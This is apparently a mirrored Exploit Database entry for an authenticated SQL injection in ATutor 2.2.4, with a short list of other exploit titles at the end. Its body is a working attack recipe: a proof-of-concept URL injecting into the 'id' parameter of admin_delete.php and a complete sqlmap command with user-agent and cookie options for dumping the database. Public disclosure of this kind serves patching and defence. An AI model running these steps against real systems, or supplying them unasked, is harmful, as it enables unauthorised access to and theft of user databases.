ATutor 2.2.4 – ‘id’ SQL Injection

Exploit Database
136 阅读

作者： Andrey Stoykov

日期： 2020-02-24
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48117/

# Exploit Title: ATutor 2.2.4 - 'id' SQL Injection

# Date: 2020-02-23

# Exploit Author: Andrey Stoykov

# Vendor Homepage: https://atutor.github.io/

# Software Link: https://sourceforge.net/projects/atutor/files/latest/download

# Version: ATutor 2.2.4

# Tested on: LAMP on Ubuntu 18.04

Steps to Reproduce:

1) Login as admin user

2) Browse to the following URL:

http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17'

3) Exploiting with SQLMAP:

//Must supply valid User-Agent otherwise, there will be errors.

sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --dbms=mysql -u "http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17*" --cookie=<COOKIES HERE>

last Exploits
ATutor 2.2.4 – ‘id’ SQL Injection的更多信息

Usermin 1.820 – Remote Code Execution (RCE) (Authenticated)：
Infoblox 6.8.2.11 – OS Command Injection：
Gnat-TGP 1.2.20 – Remote File Inclusion：
Textpattern CMS v4.8.8 – Stored Cross-Site Scripting (XSS) (Authenticated)：
TinyWebGallery 1.8.3 – Remote Command Execution：
Joomla! Component com_simpleimageupload – Arbitrary File Upload：
WHMCompleteSolution (WHMCS) 5.2.8 – SQL Injection：
MyBB Follower User Plugin – SQL Injection：